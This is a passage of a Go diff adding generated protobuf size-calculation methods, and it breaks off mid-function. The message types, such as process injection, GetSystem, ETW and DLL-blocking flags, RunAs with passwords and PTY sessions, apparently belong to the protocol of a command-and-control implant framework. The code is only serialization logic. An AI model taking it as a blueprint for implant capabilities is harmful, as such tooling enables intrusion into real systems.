*ACK) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Id != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Id)) + } + if m.Success { + n += 2 + } + if m.End { + n += 2 + } + n += len(m.unknownFields) + return n +} + +func (m *Os) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Version) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Release) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Arch) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Username) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Hostname) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Locale) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.ClrVersion) > 0 { + for _, s := range m.ClrVersion { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *Process) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Pid != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Pid)) + } + if m.Ppid != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Ppid)) + } + l = len(m.Owner) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Arch) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Args) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Uid) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *Timer) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Expression) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Jitter != 0 { + n += 9 + } + n += len(m.unknownFields) + return n +} + +func (m *FileInfo) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.IsDir { + n += 2 + } + if m.Size != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Size)) + } + if m.ModTime != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.ModTime)) + } + if m.Mode != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Mode)) + } + l = len(m.Link) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *SacrificeProcess) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Hidden { + n += 2 + } + if m.BlockDll { + n += 2 + } + if m.Etw { + n += 2 + } + if m.Ppid != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Ppid)) + } + l = len(m.Argue) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *LsResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Exists { + n += 2 + } + if len(m.Files) > 0 { + for _, e := range m.Files { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *DriveInfo) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.DriveType) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.TotalSize != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.TotalSize)) + } + if m.FreeSize != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.FreeSize)) + } + l = len(m.FileSystem) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *EnumDriversResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Drives) > 0 { + for _, e := range m.Drives { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *PsResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Processes) > 0 { + for _, e := range m.Processes { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *ExecRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Args) > 0 { + for _, s := range m.Args { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + if m.Output { + n += 2 + } + if m.Singleton { + n += 2 + } + if m.Realtime { + n += 2 + } + if m.Ppid != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Ppid)) + } + n += len(m.unknownFields) + return n +} + +func (m *ExecResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.StatusCode != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.StatusCode)) + } + l = len(m.Stdout) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Stderr) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Pid != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Pid)) + } + if m.End { + n += 2 + } + n += len(m.unknownFields) + return n +} + +func (m *BinaryResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Data) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Message) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Status != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Status)) + } + l = len(m.Err) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *Modules) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Modules) > 0 { + for _, s := range m.Modules { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *Addons) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Addons) > 0 { + for _, e := range m.Addons { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *Addon) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Depend) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *LoadModule) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Bundle) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Bin) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *LoadAddon) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Depend) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Bin) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *ExecuteAddon) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Addon) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.ExecuteBinary != nil { + l = m.ExecuteBinary.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *ExecuteBinary) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Bin) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Param) > 0 { + for k, v := range m.Param { + _ = k + _ = v + mapEntrySize := 1 + len(k) + protobuf_go_lite.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protobuf_go_lite.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 1 + protobuf_go_lite.SizeOfVarint(uint64(mapEntrySize)) + } + } + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.ProcessName) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Args) > 0 { + for _, s := range m.Args { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + l = len(m.EntryPoint) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Data) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Output { + n += 2 + } + if m.Arch != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Arch)) + } + if m.Timeout != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Timeout)) + } + if m.Sacrifice != nil { + l = m.Sacrifice.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Context) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Delay != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Delay)) + } + n += len(m.unknownFields) + return n +} + +func (m *ExecuteCommand) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Command) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Sacrifice != nil { + l = m.Sacrifice.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *UploadRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Target) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Priv != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Priv)) + } + l = len(m.Data) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Hidden { + n += 2 + } + if m.Override { + n += 2 + } + n += len(m.unknownFields) + return n +} + +func (m *DownloadRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.BufferSize != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.BufferSize)) + } + if m.Dir { + n += 2 + } + if m.Cur != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Cur)) + } + n += len(m.unknownFields) + return n +} + +func (m *DownloadResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Checksum) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Size != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Size)) + } + if m.Cur != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Cur)) + } + l = len(m.Content) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *CurlRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Url) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Timeout != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Timeout)) + } + l = len(m.Method) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Body) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Header) > 0 { + for k, v := range m.Header { + _ = k + _ = v + mapEntrySize := 1 + len(k) + protobuf_go_lite.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protobuf_go_lite.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 1 + protobuf_go_lite.SizeOfVarint(uint64(mapEntrySize)) + } + } + l = len(m.Hostname) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *ChownRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Uid) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Gid) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Recursive { + n += 2 + } + n += len(m.unknownFields) + return n +} + +func (m *IfconfigResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.NetInterfaces) > 0 { + for _, e := range m.NetInterfaces { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *RegistryRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Registry != nil { + l = m.Registry.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *Registry) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Hive) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Key) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *RegistryWriteRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Hive) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Key) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.StringValue) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.ByteValue) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.DwordValue != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.DwordValue)) + } + if m.QwordValue != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.QwordValue)) + } + if m.Regtype != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Regtype)) + } + n += len(m.unknownFields) + return n +} + +func (m *TaskScheduleRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Taskschd != nil { + l = m.Taskschd.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *TaskSchedule) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Path) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.ExecutablePath) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.TriggerType != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.TriggerType)) + } + l = len(m.StartBoundary) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Description) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Enabled { + n += 2 + } + l = len(m.LastRunTime) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.NextRunTime) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *TaskSchedulesResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Schedules) > 0 { + for _, e := range m.Schedules { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *ServiceRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Service != nil { + l = m.Service.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *ServiceConfig) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.DisplayName) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.ExecutablePath) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.StartType != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.StartType)) + } + if m.ErrorControl != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.ErrorControl)) + } + l = len(m.AccountName) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *ServiceStatus) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.CurrentState != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.CurrentState)) + } + if m.ProcessId != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.ProcessId)) + } + if m.ExitCode != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.ExitCode)) + } + if m.Checkpoint != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Checkpoint)) + } + if m.WaitHint != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.WaitHint)) + } + n += len(m.unknownFields) + return n +} + +func (m *Service) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Config != nil { + l = m.Config.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Status != nil { + l = m.Status.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *ServicesResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Services) > 0 { + for _, e := range m.Services { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *WmiQueryRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Namespace) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Args) > 0 { + for _, s := range m.Args { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *WmiMethodRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Namespace) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.ClassName) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.MethodName) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Params) > 0 { + for k, v := range m.Params { + _ = k + _ = v + mapEntrySize := 1 + len(k) + protobuf_go_lite.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protobuf_go_lite.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 1 + protobuf_go_lite.SizeOfVarint(uint64(mapEntrySize)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *RunAsRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Username) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Domain) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Password) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Program) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Args) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.UseProfile { + n += 2 + } + if m.Netonly { + n += 2 + } + if m.UseEnv { + n += 2 + } + n += len(m.unknownFields) + return n +} + +func (m *GetSystem) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Bin) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Pid != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Pid)) + } + n += len(m.unknownFields) + return n +} + +func (m *Inject) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Bin) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Pid != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Pid)) + } + n += len(m.unknownFields) + return n +} + +func (m *Pipe) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Target) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Data) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *PipeRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Pipe != nil { + l = m.Pipe.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *Switch) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Urls) > 0 { + for _, s := range m.Urls { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *TaskCtrl) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.TaskId != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.TaskId)) + } + l = len(m.Op) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *TaskInfo) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.TaskId != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.TaskId)) + } + if m.Last != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Last)) + } + if m.RecvCount != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.RecvCount)) + } + if m.SendCount != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.SendCount)) + } + n += len(m.unknownFields) + return n +} + +func (m *TaskListResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Tasks) > 0 { + for _, e := range m.Tasks { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *FFmpegRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Action) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.DeviceName) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.OutputFormat) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.OutputPath) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Time) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *PtyRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.SessionId) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Shell) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Cols != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Cols)) + } + if m.Rows != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Rows)) + } + l = len(m.InputData) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.InputText) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Params) > 0 { + for k, v := range m.Params { + _ = k + _ = v + mapEntrySize := 1 + len(k) + protobuf_go_lite.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protobuf_go_lite.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 1 + protobuf_go_lite.SizeOfVarint(uint64(mapEntrySize)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *PtyResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.SessionId) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.OutputData) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.OutputText) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Error) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.SessionActive { + n += 2 + } + if len(m.ActiveSessions) > 0 { + for _, s := range m.ActiveSessions { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + if len(m.Metadata) > 0 { + for k, v := range m.Metadata { + _ = k + _ = v + mapEntrySize := 1 + len(k) + protobuf_go_lite.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protobuf_go_lite.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 1 + protobuf_go_lite.SizeOfVarint(uint64(mapEntrySize)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *CommonBody) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.U32Array) > 0 { + l = 0 + for _, e := range m.U32Array { + l += protobuf_go_lite.SizeOfVarint(uint64(e)) + } + n += 1 